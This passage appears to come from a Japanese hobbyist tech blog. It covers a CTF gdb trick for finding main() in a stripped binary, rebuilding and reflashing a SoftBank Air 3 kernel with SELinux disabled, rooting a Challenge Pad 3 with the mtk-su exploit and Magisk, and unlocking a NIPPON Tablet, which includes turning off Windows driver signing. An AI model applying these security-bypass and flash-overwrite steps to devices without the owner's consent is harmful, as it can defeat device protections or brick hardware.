0x00005555555548f8  setvbuf@plt
0x0000555555554900  __isoc99_scanf@plt
0x0000555555554908  exit@plt
0x0000555555554910  __cxa_finalize@plt

何故かmain関数は見つからないし、当然ながらブレークポイントも貼れない...

なんでダメだったのか

A. バイナリがstippedだったから
fileコマンドでバイナリを見てみると、

$ file ./challenge
./challenge: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c86fc6fe1662d8037294b634c1cd0011bb304cb, stripped

よくあるx86-64向けのELFで、動的リンク。
しかし、最後の方にstrippedと表示されている事がわかる。
これについて、かの有名なハリネズミ本で読んだ記憶がうっすらとあり、ページをめくり探してみると以下のような記述があったので引用させていただく。

3つめとの差分として、strippedという単語が末尾に見えると思います。
これは、シンボル情報が削除されていることを示します。
シンボル情報とは、関数名やアドレスなどを示したものです。
これは、stripコマンドで実現されます。

バイナリ内にmain関数に該当する処理は存在しているが関数名とアドレスに関する情報が無い為、gdbはどこがmain関数なのかわからなかった様子。
これで、ブレークポイントが貼れず、関数情報を表示させてもmain関数が見当たらなかった理由がわかった。

解決策

結論から言ってしまうと、バイナリを一回適当に走らせて、その後__libc_start_mainブレークポイントを貼り、その時の第一引数を見ればmain関数のアドレスがわかるので動的解析の糸口になる。
まず、一回適当に走らせる事で動的にglibcがリンクする。
これによって__libc_start_mainをgdb上で検出できるようになる。
実際に見てみると、

$ gdb -q ./challeng
Reading symbols from ./challenge...
(No debugging symbols found in ./challenge)
gdb-peda$ run
Starting program: /home/t3mp/CTF/pwnable.xyz/image/challenge/challenge 
Welcome.
Leak: 0x7ffff7d7c010
Length of your message: 1 # 適当に入力してプログラムを終了させる
Enter your message: 1
[Inferior 1 (process 6176) exited normally] # プログラム終了
Warning: not running
gdb-peda$ 
gdb-peda$ info func
(出力が多すぎるので一部省略)
0x00007ffff7de2550  calloc@plt
0x00007ffff7de2560  *ABS*+0xa36c0@plt
0x00007ffff7de2570  *ABS*+0xa22d0@plt
0x00007ffff7de2580  *ABS*+0xa2890@plt
0x00007ffff7de2590  *ABS*+0xa3590@plt
0x00007ffff7de25a0  *ABS*+0xa3760@plt
0x00007ffff7de25b0  *ABS*+0xbf9a0@plt
0x00007ffff7de25c0  *ABS*+0xbfe60@plt
0x00007ffff7de25d0  *ABS*+0xa4dd0@plt
0x00007ffff7de25e0  *ABS*+0xa2960@plt
0x00007ffff7de25f0  *ABS*+0xa2220@plt
0x00007ffff7de2600  *ABS*+0xa3930@plt
0x00007ffff7de2610  *ABS*+0xa2900@plt
0x00007ffff7de2620  *ABS*+0xa3600@plt
gdb-peda$ info symbol __libc_start_main
__libc_start_main in section .text of /lib/x86_64-linux-gnu/libc.so.6

といった感じで、glibc上の__libc_start_mainを検出できている。
__libc_start_mainは関数名から察せるように、main関数を呼び出す処理を行っている。
実際にglibcソースコードを探してみると、/csu/libc-start.cに、

LIBC_START_MAIN (int (*main) (int, char **, char ** MAIN_AUXVEC_DECL),<省略>

libc-start.c - csu/libc-start.c - Glibc source code (glibc-2.33.9000) - Bootlin

と書かれており、第一引数にmain関数を渡している事が確認できる。
x86-64の関数呼び出しでは、第一引数がRDIレジスタに設定されているので、__libc_start_mainが呼び出された直後のRDIレジスタを見れば、main関数のアドレスがわかると思われる。
実際に確認してみる。

gdb-peda$ b __libc_start_main
Breakpoint 1 at 0x7ffff7de3fc0: file ../csu/libc-start.c, line 137.
gdb-peda$ run
Starting program: /home/t3mp/CTF/pwnable.xyz/image/challenge/challenge 
[----------------------------------registers-----------------------------------]
RAX: 0x1c 
RBX: 0x0 
RCX: 0x555555554ba0 (push   r15)
RDX: 0x7fffffffdda8 --> 0x7fffffffe14f ("/home/t3mp/CTF/pwnable.xyz/image/challenge/challenge")
RSI: 0x1 
RDI: 0x555555554920 (push   rbp)
RBP: 0x0 
RSP: 0x7fffffffdd88 --> 0x555555554a3a (hlt)
RIP: 0x7ffff7de3fc0 (<__libc_start_main>: endbr64)
R8 : 0x555555554c10 (repz ret)
R9 : 0x7ffff7fe0d50 (endbr64)
R10: 0x7ffff7ffcf68 --> 0x6ffffff0 
R11: 0x202 
R12: 0x555555554a10 (xor    ebp,ebp)
R13: 0x7fffffffdda0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7de3fb4 <_init+132>:    mov    rsi,QWORD PTR [rsp]
   0x7ffff7de3fb8 <_init+136>:    jmp    0x7ffff7de3f57 <_init+39>
   0x7ffff7de3fba:  nop    WORD PTR [rax+rax*1+0x0]
=> 0x7ffff7de3fc0 <__libc_start_main>: endbr64 
   0x7ffff7de3fc4 <__libc_start_main+4>:  push   r15
   0x7ffff7de3fc6 <__libc_start_main+6>:  xor    eax,eax
   0x7ffff7de3fc8 <__libc_start_main+8>:  push   r14
   0x7ffff7de3fca <__libc_start_main+10>: push   r13
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd88 --> 0x555555554a3a (hlt)
0008| 0x7fffffffdd90 --> 0x7fffffffdd98 --> 0x1c 
0016| 0x7fffffffdd98 --> 0x1c 
0024| 0x7fffffffdda0 --> 0x1 
0032| 0x7fffffffdda8 --> 0x7fffffffe14f ("/home/t3mp/CTF/pwnable.xyz/image/challenge/challenge")
0040| 0x7fffffffddb0 --> 0x0 
0048| 0x7fffffffddb8 --> 0x7fffffffe184 ("SHELL=/bin/bash")
0056| 0x7fffffffddc0 --> 0x7fffffffe194 ("SESSION_MANAGER=local/yame-cha:@/tmp/.ICE-unix/1501,unix/yame-cha:/tmp/.ICE-unix/1501")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __libc_start_main (main=0x555555554920, argc=0x1, argv=0x7fffffffdda8, init=0x555555554ba0, fini=0x555555554c10, rtld_fini=0x7ffff7fe0d50, stack_end=0x7fffffffdd98) at ../csu/libc-start.c:137
gdb-peda$ i r rdi
rdi            0x555555554920      0x555555554920
gdb-peda$ x/20i 0x555555554920
   0x555555554920:  push   rbp
   0x555555554921:  push   rbx
   0x555555554922:  sub    rsp,0x18
   0x555555554926:  mov    rax,QWORD PTR fs:0x28
   0x55555555492f:  mov    QWORD PTR [rsp+0x8],rax
   0x555555554934:  xor    eax,eax
   0x555555554936:  call   0x555555554b4e
   0x55555555493b:  lea    rdi,[rip+0x2e2]        # 0x555555554c24
   0x555555554942:  call   0x5555555548b0 <puts@plt>
   0x555555554947:  mov    edi,0x40000
   0x55555555494c:  call   0x5555555548e8 <malloc@plt>
   0x555555554951:  lea    rsi,[rip+0x2d5]        # 0x555555554c2d
   0x555555554958:  mov    rdx,rax
   0x55555555495b:  mov    rbx,rax
   0x55555555495e:  mov    QWORD PTR [rax],0x1
   0x555555554965:  mov    edi,0x1
   0x55555555496a:  xor    eax,eax
   0x55555555496c:  call   0x5555555548f0 <__printf_chk@plt>
   0x555555554971:  lea    rsi,[rip+0x2bf]        # 0x555555554c37
   0x555555554978:  mov    edi,0x1

関数のエピローグが確認できる上、動作を見てみてみるとmain関数に該当する処理である事がわかる。
main関数がわかったので、動的解析を進めることができそうだ。
ちなみに、静的解析の場合はLiveOverflow氏の以下の動画が大変参考になった。

www.youtube.com

というわけなので、pwnable.xyz頑張ります...

SoftBank Air 3のカーネルいじった時のメモ

工事がいらないのCMのあれ。

いつもの

この記事の内容を参考に行うあらゆる行為はすべて自己責任で行ってください

まえがき

あまり良い評価を聴かないSoftBank Air 3くんですが、はるろいど氏のブログを見てもらえばわかる通り、いじれば使える子になるようです。

old.haruroid.com

old.haruroid.com

それで、私のミスでメルカリの売上金が全部ポイントになる惨事が起こったので、この際買っちゃうかって事で家にお迎えする事になりました。
友達から貰った奴はAir3+(B610s-79a)で全くいじれなかったので...

https://cdn.discordapp.com/attachments/530608865256013840/750636398884683806/image0.jpg

(誰も得をしない大きさ比較画像)
はるろいど氏のブログに書いてありますが、実はこいつの中身はHuaweiのB618s-22dとさほど変わりなく、しかもandroidで動いています。びっくり。
なので、もう少し自由になろうとカーネルをいじってみました。そのメモ。

カーネル解析

純正ファームじゃadbもtelnetも使えず解析するのに少し不便なので、はるろいど氏のブログを参考に海外ファーム焼いた前提でやっていきます。
とりあえず、どこにbootが生えてるのか調べます。大体の泥端末なら/dev/block/platform以下とかにby-nameとかがあってそこからどのパテが何なのかが得られますが、Air3はMTDドライバーを使っているのでby-nameがないです。

kohshi.blogspot.com

しかしMTDドライバーの場合は/proc/mtdに各ブロックデバイスの役目が書いてあるようなので、とりあえずこれを見てみます。

# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 00080000 00040000 "m3boot"
mtd1: 00080000 00040000 "fastboot"
mtd2: 00300000 00040000 "nvbacklte"
mtd3: 00300000 00040000 "nvdefault"
mtd4: 00f00000 00040000 "nvimg"
mtd5: 00500000 00040000 "nvdload"
mtd6: 00300000 00040000 "oeminfo"
mtd7: 00c00000 00040000 "kernel"
mtd8: 00c00000 00040000 "kernelbk"
mtd9: 00200000 00040000 "dts"
mtd10: 00140000 00040000 "m3image"
mtd11: 00800000 00040000 "dsp"
mtd12: 00500000 00040000 "hifi"
mtd13: 01000000 00040000 "vxworks"
mtd14: 00200000 00040000 "wbdata"
mtd15: 006c0000 00040000 "reserve2"
mtd16: 00500000 00040000 "reserve3"
mtd17: 00c00000 00040000 "om"
mtd18: 01e00000 00040000 "app"
mtd19: 03c00000 00040000 "webui"
mtd20: 03200000 00040000 "system"
mtd21: 01400000 00040000 "userdata"
mtd22: 0e600000 00040000 "online"
mtd23: 00a00000 00040000 "coredump"
mtd24: 00000000 00040000 "nullMTD"
mtd25: 00000000 00040000 "nullMTD"
mtd26: 00000000 00040000 "nullMTD"
mtd27: 00000000 00040000 "nullMTD"
mtd28: 00000000 00040000 "nullMTD"
mtd29: 00000000 00040000 "nullMTD"
mtd30: 00000000 00040000 "nullMTD"
mtd31: 00000000 00040000 "nullMTD"
mtd32: 00000000 00040000 "nullMTD"
mtd33: 00000000 00040000 "nullMTD"
mtd34: 00000000 00040000 "nullMTD"

あまり聞かないブートローダとお目当てのカーネル、あとandroidっぽい奴らと謎のnull層がありますね...
適当にスクリプト書いて全部ダンプしてみたんですが、nullMTDの中身は0xFFで埋められていました...謎。
それからkernelbkはバックアップ用っぽい感じかな(kernelとハッシュが一致した)
どのタイミングで使われるのか不明ですが...

[追記]mtdblock7が改変された場合にkernelbkで起動するようです。
多分、kernelとkernelbkを比較して異なった場合はkernelbkを起動させる仕組みだと思います。
後記しますが、書き換える場合はこっちも書き換える必要があります。

とまあ、カーネルがどこに生えてるのかわかったので、早速カーネルをひっぱり出して解析してみます。

# dd if=/dev/block/mtdblock7 of=/data/local/tmp/boot.img             
17650+0 records in
17649+0 records out
9036288 bytes transferred in 1.963 secs (4603305 bytes/sec)

いつも通りadb pullしてbinwalkでカーネル部分だけ取り出します。

$ binwalk -e boot.img                                                                                                           

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
128           0x80            Android bootimg, kernel size: 5618264 bytes, kernel addr: 0x46E10000, ramdisk size: 542800 bytes, ramdisk addr: 0x48008000, product name: ""
4224          0x1080          Linux kernel ARM boot executable zImage (little-endian)
22460         0x57BC          gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)
5623936       0x55D080        gzip compressed data, from Unix, last modified: 1970-01-01 00:00:00 (null date)
6168704       0x5E2080        gzip compressed data, maximum compression, from Unix, last modified: 2017-02-25 08:45:55

$ file ./_boot.img.extracted/*                                                                                                  
./_boot.img.extracted/5E2080: ASCII cpio archive (SVR4 with no CRC)
./_boot.img.extracted/55D080: ASCII cpio archive (SVR4 with no CRC)
./_boot.img.extracted/57BC : data

出てきた57BCがカーネル本体です。
ここでbinwalkの出力結果に少し注目して欲しいのですが、androidのbootの前に0x80の大きさを持つ謎の空間が存在しています。
出力結果を元に取り出してみると...  

$ dd if=boot.img bs=1 count=128 of=head.img                                                                                     
128+0 レコード入力
128+0 レコード出力
128 bytes copied, 0.00376952 s, 34.0 kB/s

$ strings head.img                                                                                                             
KERNEL

$ hexdump head.img                                                                                                              
0000000 454b 4e52 4c45 0000 0000 0000 0000 0000
0000010 0000 0000 0000 0000 0000 0000 0000 0000
*
0000030 0000 0000 d000 006f 8000 46e0 0000 0000
0000040 0000 0000 0000 0000 0000 0000 0000 0000
*
0000080

何かしらの目印っぽいですね。
ブートローダが判別するのに使うのかなーとか思っています(ブートローダ調べるのはまた今度で...)
つまるところ、Air3のboot.imgはこの謎ヘッダーと一般的なandroidのboot.imgで構成されているようです。
なので、作ったカーネルにこれをひっつけないとうまく動いてくれません...

次にカーネルをビルドする上で必要な.conifgを取り出します。
これは普通に/proc/config.gzにあるのでadb pullで取り出して展開すれば出てきます。
しかし私はこの時ちょうどAir3をいじりすぎて半文鎮状態にしてしまっていたので、boot.imgから取り出しました。
(文鎮からの復旧が結構面倒だったので...)
今後役に立つかもなので一応書いておきます。

binwalk -e 57BC                                                       

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
384           0x180           device tree image (dtb)
1978049       0x1E2EC1        Certificate in DER format (x509 v3), header length: 4, sequence length: 5376
7241832       0x6E8068        Linux kernel version 3.10.5
7254728       0x6EB2C8        gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)
8255658       0x7DF8AA        MPEG transport stream data
8256418       0x7DFBA2        MPEG transport stream data
8256450       0x7DFBC2        MPEG transport stream data
9459332       0x905684        Unix path: /dev/mtd/mtd%d
9515912       0x913388        Unix path: /lib/firmware/updates/3.10.59
9574676       0x921914        Unix path: /dev/block/mtdblock
9575792       0x921D70        Unix path: /dev/block/mtdblock%d
9634160       0x930170        Unix path: /sys/devices/platform/balong_led/leds/Balong_dr%d/%s
9763492       0x94FAA4        Unix path: /sys/kernel/debug/modem_diag/diag
9949236       0x97D034        Unix path: /sys/power/autosleep
10014929      0x98D0D1        PARity archive data - file number 20548
10133024      0x9A9E20        Unix path: /dev/block/mmcblk%dp1
10133108      0x9A9E74        Unix path: /dev/block/mmcblk%d
10136288      0x9AAAE0        Unix path: /dev/block/mmcblk0
10154683      0x9AF2BB        Copyright string: "Copyright 2005-2007 Rodolfo Giometti <giometti@linux.it>"
10312232      0x9D5A28        Neighborly text, "NeighborSolicits6InDatagrams"
10312252      0x9D5A3C        Neighborly text, "NeighborAdvertisementsorts"
10323946      0x9D87EA        Neighborly text, "neighbor %.2x%.2x.%pM lost timer expired"
11048856      0xA89798        ASCII cpio archive (SVR4 with no CRC), file name: "dev", file name length: "0x00000004", file size: "0x00000000"
11048972      0xA8980C        ASCII cpio archive (SVR4 with no CRC), file name: "dev/console", file name length: "0x0000000C", file size: "0x00000000"
11049096      0xA89888        ASCII cpio archive (SVR4 with no CRC), file name: "root", file name length: "0x00000005", file size: "0x00000000"
11049212      0xA898FC        ASCII cpio archive (SVR4 with no CRC), file name: "TRAILER!!!", file name length: "0x0000000B", file size: "0x00000000"
11059200      0xA8C000        CRC32 polynomial table, little endian
11191515      0xAAC4DB        LZMA compressed data, properties: 0xC0, dictionary size: 0 bytes, uncompressed size: 32 bytes
11428268      0xAE61AC        Unix path: /sys/class/leds/power_led:green/brightness


$ file _57BC.extracted/*                                                                          
_57BC.extracted/6EB2C8:      Linux make config build file, ASCII text
_57BC.extracted/A89798.cpio: ASCII cpio archive (SVR4 with no CRC)
_57BC.extracted/AAC4DB:      data
_57BC.extracted/AAC4DB.7z:   dBase III DBT, version number 0, next free block index 192
_57BC.extracted/cpio-root:   directory

$ head _57BC.extracted/6EB2C8                                                                                                 
#
# Automatically generated file; DO NOT EDIT.
# Linux/arm 3.10.59 Kernel Configuration
#
CONFIG_ARM=y
CONFIG_MIGHT_HAVE_PCI=y
CONFIG_SYS_SUPPORTS_APM_EMULATION=y
CONFIG_HAVE_PROC_CPU=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y

どうやらカーネル本体のすぐ下にあるgzipがconfig.gzにあたる部分のようで、binwalkがこれを取り出して展開したものを6EB2C8として出力してくれているみたいです。

カーネルビルド

カーネルコンフィグが手に入ったので早速ビルドしてみます。
SoftBank Air 3はソースコードが公開されてないようですが、上に書いた通り中身はB618sとさほど変わらないようですし、B618sのファームウェアから取り出した.configと比較したところ中心部の設定はあんまり変わらない事からB618sのソースコードがそのまま使える予感がしたのでやってみます。

.config_B610s-77a · GitHub

(77aの.configの下にB618sとのdiffの出力結果を貼ってます)
B618sからUSB関連とサウンド関連(?)が削られた感じですね。 USBメモリとかが読めないのはこれで削られていたからなんですね...
B618sのソースは以下から落としてください。

https://consumer.huawei.com/en/opensource/detail/?siteCode=worldwide&keywords=b618s&fileType=openSourceSoftware&pageSize=10&curPage=1

[追記]ビルドが普通にできるやつをGitHubに上げたので、そっち使ってください。

github.com

README通りにやればext4とUSBストレージが使えてSELinuxがDisabledなカーネルができるはずです。

落として中身を見てもらえばわかりますが、gcc 4.7を使う必要があるみたいです。
そこそこ古いですね...
最新のディストリとかだとレポジトリから拾えないし面倒なので、今回はQuaStationの時にお世話になったBanana Piのカーネルビルド用Dockerを使いました。

hub.docker.com

ここを参考にpullして走らせます。
そしたらARM用gcc 4.7をインストールしていきます。

# apt-get install gcc-4.7-arm-linux-gnueabi

そのままだとクロスコンパイル時の指定が面倒なので名前を変更

# mv /usr/bin/arm-linux-gnuebi-gcc-4.7 /usr/bin/arm-linux-gnuebi-gcc

ソースrar中のandroid-4.4.1.tar.gzを適当に展開したら77aの.configを置いてmake menuconfig。
ここでUSBを使えるようにしたり、ext4対応させたり、SELinuxをDisabledにしたりできます。
終わったらEsc二回押しで保存。
あとは保存したのをコンフィグ用ディレクトリに放り込んでREADMEに従ってmakeするだけです。

# mv .config arch/arm/configs/B610_defconfig

# chmod 777 arch/arm/configs/B610_defconfig

# mkdir ../out

# make ARCH=arm O=../out B610_defconfig
(出力略)

# make ARCH=arm CROSS_COMPILE=arm-linux-gnueabi- O=../out -j8
(出力略) 

うまくいけば、カレントディレクトリの一個手前のoutフォルダに色々入っています。
なんかもっと綺麗に出力する方法があった気がしますが...
今回必要になるのはzImageなので、これを母艦に移動させます。
上のboot.imgをbinwalkでバラした時の出力にあるようにzImageが使われているので、これを入れ替えようっていう魂胆です。

# cd ../out

# cp arch/arm/boot/zImage $HOME
(母艦のターミナル)
$ sudo docker cp <コンテナID>:/root/zImage .

コンテナIDはdocker psとかで調べてください。

boot.img改変

zImageをboot.imgに組み込んでヘッダをつけます。
最初はbinwalkとddでやろうかと思ってたんですが、今後もいじる事を考えると面倒だなって事でAndroid Image Kitchenを使う事にしました。

forum.xda-developers.com

これを使って引っ張り出したboot.imgをバラします。
謎ヘッダ付きでもバラしてくれるので脳死で投げればOKです。

$ cd AIK-Linux

$ cp /path/to/boot.img .
(名前がboot.imgじゃないとダメそうなので注意)
$ ./unpack.sh
Android Image Kitchen - UnpackImg Script
by osm0sis @ xda-developers
 
Supplied image: boot.img
 
Setting up work folders...
 
Image type: AOSP
 
Splitting image to "split_img/"...
Android magic found at: 128
BOARD_KERNEL_CMDLINE 
BOARD_KERNEL_BASE 46e08000
BOARD_NAME 
BOARD_PAGE_SIZE 4096
BOARD_HASH_TYPE sha1
BOARD_KERNEL_OFFSET 00008000
BOARD_RAMDISK_OFFSET 01200000
BOARD_SECOND_OFFSET 00f00000
BOARD_TAGS_OFFSET 00000100
BOARD_HEADER_VERSION 0
 
Unpacking ramdisk (as root) to "ramdisk/"...
 
Compression used: gzip
1922 ブロック
 
Done!

バラしたらdocker cpしてきたzImageと入れ替えます。

$ ls split_img/ | grep zImage                                                                                                  
boot.img-zImage

$ cp -f /path/to/zImage split_img/boot.img-zImage

あとは再構築して謎ヘッダを添えれば完成です。

$ ./repack.sh
 
Android Image Kitchen - RepackImg Script
by osm0sis @ xda-developers
 
Packing ramdisk (as root)...
 
Using compression: gzip
 
Getting build information...
kernel = boot.img-zImage
second = boot.img-second
cmdline = 
board = 
base = 46e08000
pagesize = 4096
kernel_offset = 00008000
ramdisk_offset = 01200000
second_offset = 00f00000
tags_offset = 00000100
header_version = 0
hash = sha1
 
Building image...
 
Using format: AOSP
 
Done!

$ ls                                                                                                                         
authors.txt*  boot.img     head.img       ramdisk/             repackimg.sh*  unpackimg.sh*
bin/          cleanup.sh*  image-new.img  ramdisk-new.cpio.gz  split_img/
$ cat head.img image-new.img > own_kernel.img

あとは実機にて直接書き込むだけです。

$  adb push own_kernel.img /data/local/tmp

$ adb shell

# dd if=/data/local/tmp/own_kernel.img of=/dev/block/mtdblock7

[追記]バックアップ用ブロックにも書き込んでください。
# dd if=/data/local/tmp/own_kernel.img of=/dev/block/mtdblock8

再起動した後にuname -aを実行してカーネルのビルド日時がやたら新しくなっていたら成功です。

こんな感じでカーネルいじれる事がわかったので、学業やりながらボチボチと色々やっていこうと思います。
OpenWrt移植とかやってみたいんですけど、いかんせんブートローダが完全にandroid用なので色々工夫する必要がありそうです。
まあ、それが楽しいんですけどね。

CTFとかはしばらく座学して、学業落ち着いたら実践やります...

チャレンジパッド3はMagiskの夢を見るか?

あくまでも夢。

いつもの

この記事の内容を参考に行うあらゆる行為はすべて自己責任で行ってください
後述しますが、今回のは少し危なっかしいです...
大きめの教育的文鎮ができても泣かないように。

まえがき

最近、えたいの知れない不吉な塊が上に乗っかってきて何もできずに数日天井を見つめていたのですが、ふとandroid周りの興味が出たので色々漁っていたら以下のような記事を見つけました。

androplus.org

昔からrootするの大変だったXperiaが!?って結構驚いたのは置いておいて、元のexploitが気になったので情報元のXDA見てたのですが、exploitと一緒に一時rootからMagiskを入れるスクリプトがあったので、これを放置気味のチャレパ3に転用できないかなって事で少しいじりながらやってみました。
結論から言えばできたのですが、以下のような条件付きです。

できること

  • root権限の奪取
  • ごく一部のMagiskモジュールの動作
  • Magiskの動作画面を拝む

できないこと

  • systemに書き込む

やるとマズイこと

  • boot領域への書き込み

Magiskモジュールはsystemへの書き込みができないので結構限られてきます。
systemの書き込みができない理由としてはNIPPON Tabletのやつでも出てきたdm-verityくんが邪魔してるからです。
これを解除する方法は色々ありますが、どれも大体boot領域をいじっています。
しかしチャレンジパッド3だとこれが問題で、起動するイメージ(bootとかリカバリー)が公式のイメージではないものだと起動しません。
つまり、boot領域をいじって起動すると詰みます。これが上で書いた危なっかしい理由です。
導入したMagiskモジュールがboot領域いじる奴だった上に気づかず再起動なんかしたら教育的文鎮の完成です。
じゃあブートローダの認証プロセス飛ばせばいいじゃんかってなりますが、チャレパ2で使えてた例のアレも塞がれたし、ブートローダはマイナーな奴だしで正直打つ手がないです。
そんなわけなので、boot領域とsystem領域がいじれない状態でしか遊べません。
systemlessホストで広告ブロックしたり、chrootLinuxディストリ動かしたりくらいしか思い浮かびませんが...

方法

デフォルトだと提供元不明のアプリがオフの上に設定から抹消されてるらしいので、adb使ってどうにかします。
adbの導入方法については各自調べてください。

adb shell settings put secure install_non_market_apps 1

これでアプリを自由につっこめます。
初期のランチャーだとアプリが表示されないので、適当にランチャーアプリを入れておきましょう。 今回は前述したスクリプトを調整&自動化したものを実行するので、Termuxを使用します。
自動化の都合上アドオンのTermux Bootも必要です。
F-Droidとかから適当につっこみます。

f-droid.org

f-droid.org

Termux Bootを一度起動させたら早速Termuxを起動。
以下のコマンドを入力します。

$ termux-setup-storage

確認用のダイアログが出たら許可してください。
そしたら以下のリンクからスクリプト群と、スクリプトに必要なファイルを落とします。

drive.google.com

  • mtk-su

https://forum.xda-developers.com/attachment.php?attachmentid=5014623&d=1588992942

  • Magisk本体

https://github.com/topjohnwu/Magisk/releases/download/v20.4/Magisk-v20.4.zip

スクリプト本体のzip内のMI4CPad3フォルダを内部ストレージのルートに置いた後、mtk-suのzip内のarm64フォルダ内にあるmtk-suバイナリとMagiskのzipを先程のMI4CPad3フォルダに投げ込めばOKです。
しっかりと配置すれば以下のようになるはず...

$ ls MI4CPad3
Magisk-v20.4.zip  READEME.txt  busybox  magisk-install.sh  magisk-setup.sh  magisk-start.sh  mtk-su

ファイルの構成を正しくしないとスクリプトは動かないので注意です。 あとはTermux上でスクリプトを持ってきて実行するだけです。

(Termux上のターミナルで)
$ cp ./storage/shared/MI4CPad3/magisk-install.sh .

$ chmod 755 magisk-install.sh

$ ./magisk-install.sh

特に不具合や手順ミスがないならMagisk ManagerからMagiskの動作が確認できますし、suが使えるはずです。
それから次回起動時に自動で実行してMagiskが動くようにもなってる...はず。
実際にやってみるとわかるんですけど、Magiskが使えるようになるまでそこそこかかります。(起動して1分くらい)
もっと高速化できますが、とりあえず完成って事で...
気が向いたら整理と高速化してリンク修正しておきます。

NIPPON Tabletを普通のタブレットに更生させたお話。

一部で噂になってた詐欺タブレットNIPPON Tabletの足を洗って、普通のタブレットに更生させるまでのお話。
2020/11/08[追記]
28chさんのおかげさまで、TWRPやLineage OS等の起動が可能になりました!
ただし、いくつかの不具合が確認されていますので、自己責任でお願いします。
そして、バックアップは必ず取りましょう。
MEGAのリンク:

https://mega.nz/folder/qpB2wTRJ#X2uN8WnHuFzKLSX_M_0tGQ

これに伴いMagiskやOpenGAppsの導入がかなり楽になったため、記事の一部を改変、追記しました。
28chさんありがとうございます!(詳細はこの記事のコメント欄に書いてあります)

2021/03/13[追記]
この手法やリカバリーイメージは型番がNT-J1の端末を想定したものであり、類似した端末であるNT-S1は想定しておりません。
見分け方についてですが、NT-S1はインカメラが上部の中心についています。
NT-J1は上部の左寄りです。

NIPPON Tablet

https://cdn.discordapp.com/attachments/530608865256013840/707117296992387113/nipponwaratablet.jpeg

NIPPON Platform株式会社が展開していた(過去形)NIPPON PAYやその他各種決済用に使われていたタブレットでした。
どうも会社がやらかしてしまったらしく、加盟店への支払いが2019年11月あたりから行われていないみたいです。
詳しくは調べれば出てくるので割愛しますが、要約するとNIPPON PAYが大失敗した結果、決済に使われていたこのNIPPON Tabletがフリマ等に流れる事態になりました。

タブレットの詳しいスペックや技適、その他情報はhoneylab様がまとめてくださってるのでそちらを参考にしてください。

honeylab.hatenablog.jp

NIPPON Tabletの名を背負って中国製なの笑えますね(もしや狙っていたのでは)
ここではこれを使えるタブレットにするまでの流れを書いていきます。
すべて自己責任で行ってください。

追記:下準備

2021/02/24 追記 : ヤフオクでこの端末が激安で投げられているらしく、思っていたよりも需要があるようなので追記しました。

adb導入

adbコマンドを使用できるようにする方法についてですが、以下のツールをおすすめします。

butsuyoku-gadget.com

具体的な方法や、インストール後の対応についても、上のサイト様がご丁寧に解説されてあるので、省略します。

USBドライバ導入

これについては、本記事コメント欄に颯爽と現れた名無しさんが大変丁寧に説明されていますので、それをありがたく引用させていただきます。

googleのUSB Driverを下記のサイトから落としてください。

https://developer.android.com/studio/run/win-usb

展開して中に入っているandroid_winusb.infをメモで開き、[Google.NTx86]と[Google.NTamd64]の欄に以下を追加して上書きします。

;NIPPON Tablet NTJ1 %CompositeAdbInterface% = USB_Install, USB\VID_0BB4&PID_0C01&REV_0100 %CompositeAdbInterface% = USB_Install, USB\VID_0BB4&PID_0C01

;NIPPON Tablet NTJ1は書き込まなくてもokです。

続けてドライバの更新ですが、Windows10では署名のないドライバは拒否されるのでテストモードで更新します。 管理者権限のコマンドで以下を入力して下さい。

bcdedit /set TESTSIGNING ON

再起動してテストモードにします。 ドライバを更新します。署名がないので警告が出ますが更新できます。 更新したら再度、管理者権限のコマンドで以下を入力します。

bcdedit /set TESTSIGNING OFF

再起動してテストモードを終了して完了です。

比較的新しいPCでセキュアブートが有効ですと無効にして作業する必要があります。 私のPCは古くてサポートしていなかったので問題なかったですw

以下のサイトが参考になります。 https://tek2tech.com/android-usb-debug-driver-for-windows/ https://4thsight.xyz/4958

お問い合わせ

コメント欄をみる限りでは、この2つがハマりポイントかなと思ったので追記しました。
しかし、もし他に何か問題があるのであれば、Twitterかメールにご連絡ください。

twitter.com

Mail : newtikuwa.mk7★gmail.com

ブートローダのアンロック

起動したらいつもどおりビルド番号連打で開発者オプションを出してUSBデバッグ(ADB)とOEMロック解除の項目をONにします。
そしたら母艦PCから

$ adb reboot bootloader
<左下にfastbootの表示がでるのを待つ>
$ fastboot oem unlock
<端末側に本当にええんかと表示が出るのでYESを選択>

[追記] fastbootになっているのか不安な時は、fastboot devicesを実行してみてください。
ここで何の表示もない場合は、ドライバが導入できていないか、使用しているUSBケーブルに問題がある可能性が高いです。

いつもの流れですね。
ちなみにBLUすると、「お前の端末セキュリティ的に信用できんから注意しとけよ」的な表示がでて、起動まで5秒待たされます。
とりあえず起動したら不要なアプリを無効化します。
位置情報とか送信してるっぽい(デフォルトで位置情報ON。しかも高精度モード)ので、せっせと無効化します。

https://cdn.discordapp.com/attachments/530608865256013840/706762941168353381/Screenshot_2020-05-04_15-57-58.png

「ランチャーアプリ」っていうアプリだけ無効化できないのでadbで黙らせます。

$ adb shell pm uninstall -k --user 0 com.nippon_pay.launcher

[追記]TWRP導入

ブログ最初の方でちょろっと書いていたように、TWRPの起動が可能になったので、その方法と、この項以降の作業についての追記です。
まず初めに以下のリンクからTWRPイメージその他をダウンロードします。

https://mega.nz/folder/qpB2wTRJ#X2uN8WnHuFzKLSX_M_0tGQ

(28chさん提供。ありがとうございます。)
電源ボタン+音量上 or シェルでadb reboot bootloaderでfastbootモードに入ります。
(ボタンコンボの場合は選択画面に入った後にボタン上で選択、ボタン下で決定できるので、fastboot modeを選択)
そしたらTWRPイメージを焼きます。

fastboot falsh recovery TWRP_infinix_x556[NTJ1].img

焼き終わったらボタンコンボ or adb reboot recoveryでTWRPが起動するはずです。
前述の予期せぬ需要増加に伴い、TWRPの使用方法について簡易的に記載しておきます。
